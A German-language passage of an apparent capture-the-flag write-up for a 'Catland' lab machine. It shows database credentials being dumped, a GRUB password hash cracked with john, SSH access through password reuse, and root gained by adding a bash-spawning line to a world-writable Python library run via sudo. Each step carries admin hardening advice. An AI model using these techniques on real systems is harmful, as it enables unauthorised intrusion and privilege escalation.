-rw-r--r-- 1 laura laura 3526 Dec 30 16:37 .bashrc
drwxr-xr-x 3 laura laura 4096 Jan 7 14:05 .local
-rw-r--r-- 1 laura laura 807 Dec 30 16:37 .profile
-rwx------ 1 laura laura 33 Jan 1 08:54 user.txt
Analyse: Überprüfung des Home-Verzeichnisses von `laura`. `www-data` hat Lesezugriff. Die Datei `user.txt` ist vorhanden, gehört `laura` und hat Berechtigungen `-rwx------`. `www-data` kann sie nicht direkt lesen.
Bewertung: Bestätigt das Vorhandensein des Benutzers `laura` und der User-Flag-Datei. Direkter Zugriff auf die Flag ist als `www-data` nicht möglich.
Datenbank-Enumeration (als www-data): Zugriff auf die lokale Datenbank mit den neu gefundenen Zugangsdaten.
Enter password: [Passwort catlandpassword123 eingegeben] Welcome to the MariaDB monitor. [...] MariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | catland | | information_schema | +--------------------+ MariaDB [(none)]> use catland; Database changed MariaDB [catland]> show tables; +-------------------+ | Tables_in_catland | +-------------------+ | comment | | users | +-------------------+ MariaDB [catland]> select * from comment; +----------------------+ | grub | +----------------------+ | change grub password | +----------------------+ MariaDB [catland]> select * from users; +----------+------------+ | username | password | +----------+------------+ | laura | laura_2008 | +----------+------------+ MariaDB [catland]> exit Bye
Analyse: Erfolgreicher Login in die `catland`-Datenbank als Benutzer `admin`. Die Tabelle `users` bestätigt die Zugangsdaten `laura`:`laura_2008`, die bereits per Hydra gefunden wurden. Die Tabelle `comment` enthält einen interessanten Hinweis: "change grub password".
Bewertung: Der Datenbankzugriff liefert einen wichtigen Hinweis auf GRUB und bestätigt die Zugangsdaten für `laura`.
Empfehlung (Pentester): Untersuchen Sie die GRUB-Konfigurationsdatei (`/boot/grub/grub.cfg`) auf Passwörter oder Hashes, wie im Kommentar angedeutet.
Empfehlung (Admin): Speichern Sie keine Hinweise oder sensiblen Informationen in Datenbankkommentaren. Sichern Sie die Datenbank und deren Zugangsdaten.
Untersuchung der GRUB-Konfiguration:
# BEGIN /etc/grub.d/01_password #
password_pbkdf2 root grub.pbkdf2.sha512.10000.CAEBC99F7ABA2AC4E57FFFD14649554857738C73E8254222A3C2828D2B3A1E12E84EF7BECE42A6CE647058662D55D9619CA2626A60DB99E2B20D48C0A8CE61EB.6E43CABE0BC795DC76072FC7665297B499C2EB1B020B5751EDC40A89668DBC73D9F507517474A31AE5A0B45452DAD9BD77E85AC0EFB796A61148CC450267EBBC
# END /etc/grub.d/01_password #
Analyse: Der Befehl `grep` durchsucht die GRUB-Konfigurationsdatei nach der Zeichenkette "password". Es wird ein Eintrag `password_pbkdf2 root ...` gefunden, der einen Passwort-Hash für den GRUB-Benutzer `root` enthält.
Bewertung: Ein Passwort-Hash für den GRUB-Bootloader wurde gefunden. Das Format (`grub.pbkdf2.sha512.10000...`) ist bekannt und kann mit Tools wie `john` oder `hashcat` geknackt werden.
Empfehlung (Pentester): Kopieren Sie den vollständigen Hash-String (`grub.pbkdf2...`). Versuchen Sie, ihn offline mit `john` oder `hashcat` und einer Wortliste (z.B. `rockyou.txt`) zu knacken.
Empfehlung (Admin): Schützen Sie die GRUB-Konfiguration mit einem starken Passwort, wenn ein Bootloader-Passwort erforderlich ist. Beschränken Sie die Leserechte auf `/boot/grub/grub.cfg`.
GRUB-Hash knacken (Offline):
[Keine Ausgabe]
Warning: detected hash type "PBKDF2-HMAC-SHA512", but the string is also recognized as "HMAC-SHA256"
[...]
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
berbatov (?)
1g 0:00:00:15 DONE (2023-04-10 23:10) 0.06543g/s 148.1p/s 148.1c/s 148.1C/s football..berbatov
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Analyse: Der GRUB-Hash (in der Datei `hash` gespeichert) wird mit `john` und der `rockyou.txt`-Wortliste angegriffen. John the Ripper identifiziert das Hash-Format korrekt und knackt es.
Bewertung: Erfolg! Das Passwort für den GRUB-`root`-Eintrag lautet `berbatov`.
Empfehlung (Pentester): Versuchen Sie, dieses Passwort für den SSH-Login des Benutzers `laura` wiederzuverwenden (Passwort-Recycling ist häufig).
Empfehlung (Admin): Verwenden Sie keine schwachen oder leicht zu erratenden Passwörter, auch nicht für den Bootloader. Erzwingen Sie Passwortkomplexität.
SSH-Login als Laura:
The authenticity of host 'catland.hmv (192.168.2.126)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes [...] laura@catland.hmv's password: [Passwort berbatov eingegeben] Linux catland.hmv 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64 [...] Last login: Sat Jan 7 14:44:44 2023 from 192.168.0.29 laura@catland:~$
Analyse: Versuch, sich per SSH als Benutzer `laura` mit dem geknackten GRUB-Passwort (`berbatov`) anzumelden.
Bewertung: Erfolg! Das Passwort wurde für den Benutzer `laura` wiederverwendet. Eine interaktive Shell als `laura` wurde erhalten.
Empfehlung (Pentester): Enumerieren Sie die Berechtigungen des Benutzers `laura`, insbesondere `sudo -l`. Suchen Sie nach der User-Flag.
Empfehlung (Admin): Verhindern Sie Passwort-Recycling. Erzwingen Sie unterschiedliche, starke Passwörter für verschiedene Konten und Systeme (Bootloader, Systembenutzer etc.).
Enumeration als Laura:
Matching Defaults entries for laura on catland:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User laura may run the following commands on catland:
(ALL : ALL) NOPASSWD: /usr/bin/rtv --help
Analyse: `sudo -l` zeigt die `sudo`-Berechtigungen für `laura`.
Bewertung: Laura darf den Befehl `/usr/bin/rtv --help` als jeder Benutzer (`ALL:ALL`) ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer Hinweis auf eine mögliche Privilegienerweiterung, da `rtv` (Reddit Terminal Viewer) ein Python-Skript ist und die Ausführung mit `--help` möglicherweise ausgenutzt werden kann, oder weil die Ausführung als `root` (Teil von `ALL:ALL`) generell gefährlich ist.
Empfehlung (Pentester): Untersuchen Sie das `/usr/bin/rtv`-Skript. Suchen Sie nach Möglichkeiten, die Ausführung von `rtv --help` für Codeausführung zu missbrauchen (z.B. durch Manipulation von importierten Modulen oder Umgebungsvariablen).
Empfehlung (Admin): Gewähren Sie `sudo`-Rechte nach dem Prinzip des geringsten Privilegs. Erlauben Sie niemals die Ausführung von Skripten oder komplexen Programmen mit `sudo`, insbesondere nicht mit `ALL:ALL` und `NOPASSWD`, es sei denn, es ist absolut unvermeidlich und das Programm ist sicher gegen Missbrauch.
933ff8025e8944b6b3b797b2f006b2c0
Analyse: Die User-Flag wird aus `user.txt` im Home-Verzeichnis von `laura` ausgelesen.
Bewertung: User-Flag erfolgreich erfasst.
Untersuchung des rtv-Skripts und Exploit-Vorbereitung:
#!/usr/bin/python3 # EASY-INSTALL-ENTRY-SCRIPT: 'rtv1.27.0','console_scripts','rtv' import re import sys # for compatibility with easy_install; see #2198 __requires__ = 'rtv1.27.0' try: from importlib.metadata import distribution except ImportError: try: from importlib_metadata import distribution except ImportError: from pkg_resources import load_entry_point def importlib_load_entry_point(spec, group, name): dist_name, _, _ = spec.partition('') matches = ( entry_point for entry_point in distribution(dist_name).entry_points if entry_point.group == group and entry_point.name == name ) return next(matches).load() globals().setdefault('load_entry_point', importlib_load_entry_point) if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(load_entry_point('rtv1.27.0', 'console_scripts', 'rtv')())
Analyse: Der Quellcode von `/usr/bin/rtv` wird angezeigt. Es ist ein Python3-Skript, das `importlib.metadata` verwendet, um Entry Points zu laden. Dies ist ein Hinweis auf eine mögliche "Python Import Hijacking"-Schwachstelle, wenn eine der importierten Bibliotheken oder deren Abhängigkeiten vom Benutzer manipuliert werden kann.
932760 20 -rw-r--rw- 1 root root 18210 Feb 28 2021 /usr/lib/python3.9/importlib/metadata.py
[...]
Analyse: Suche nach der Datei `metadata.py`, die von `rtv` importiert wird.
Bewertung: Die Datei `/usr/lib/python3.9/importlib/metadata.py` wird gefunden. Die Berechtigungen `-rw-r--rw-` sind sehr ungewöhnlich für eine Systemdatei. Sie bedeutet, dass jeder Benutzer (`world writable`) die Datei ändern kann!
Empfehlung (Pentester): Nutzen Sie die Schreibberechtigung für `metadata.py`. Fügen Sie Code hinzu, der eine Shell startet (z.B. `import os; os.system('/bin/bash -i')`). Führen Sie dann den `sudo`-Befehl (`sudo rtv --help`) aus. Da `rtv` `metadata.py` importiert, wird Ihr eingefügter Code mit Root-Rechten ausgeführt.
Empfehlung (Admin): Korrigieren Sie sofort die Berechtigungen für `/usr/lib/python3.9/importlib/metadata.py` und andere Systemdateien. Standardmäßig sollten solche Dateien nur für `root` schreibbar sein (z.B. `644`, `-rw-r--r--`). Untersuchen Sie, warum diese Datei schreibbar war.
Exploit-Durchführung:
[Datei wird bearbeitet: os.system('/bin/bash -i') hinzugefügt]
Analyse: Die Datei `metadata.py` wird bearbeitet und der Befehl zum Starten einer interaktiven Bash-Shell wird hinzugefügt.
root@catland:/home/laura# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Der erlaubte `sudo`-Befehl wird ausgeführt. `rtv` startet, importiert die modifizierte `metadata.py`, führt den eingefügten `os.system`-Befehl aus und startet eine Bash-Shell.
Bewertung: Perfekt! Eine Root-Shell wurde durch Ausnutzung der unsicheren Dateiberechtigung und des `sudo`-Eintrags erlangt.
Empfehlung (Pentester): Lesen Sie die Root-Flag. Bereinigen Sie die Änderung an `metadata.py`, wenn Sie unentdeckt bleiben möchten.
Empfehlung (Admin): Berechtigungen korrigieren. `sudo`-Regel entfernen oder sichern.
Root-Flag lesen:
ca555fc5afb4475bb0878d2b1a76cbe9
Analyse: Die Root-Flag wird aus `/root/root.txt` ausgelesen.
Bewertung: Ziel erreicht. Root-Flag erfolgreich erfasst.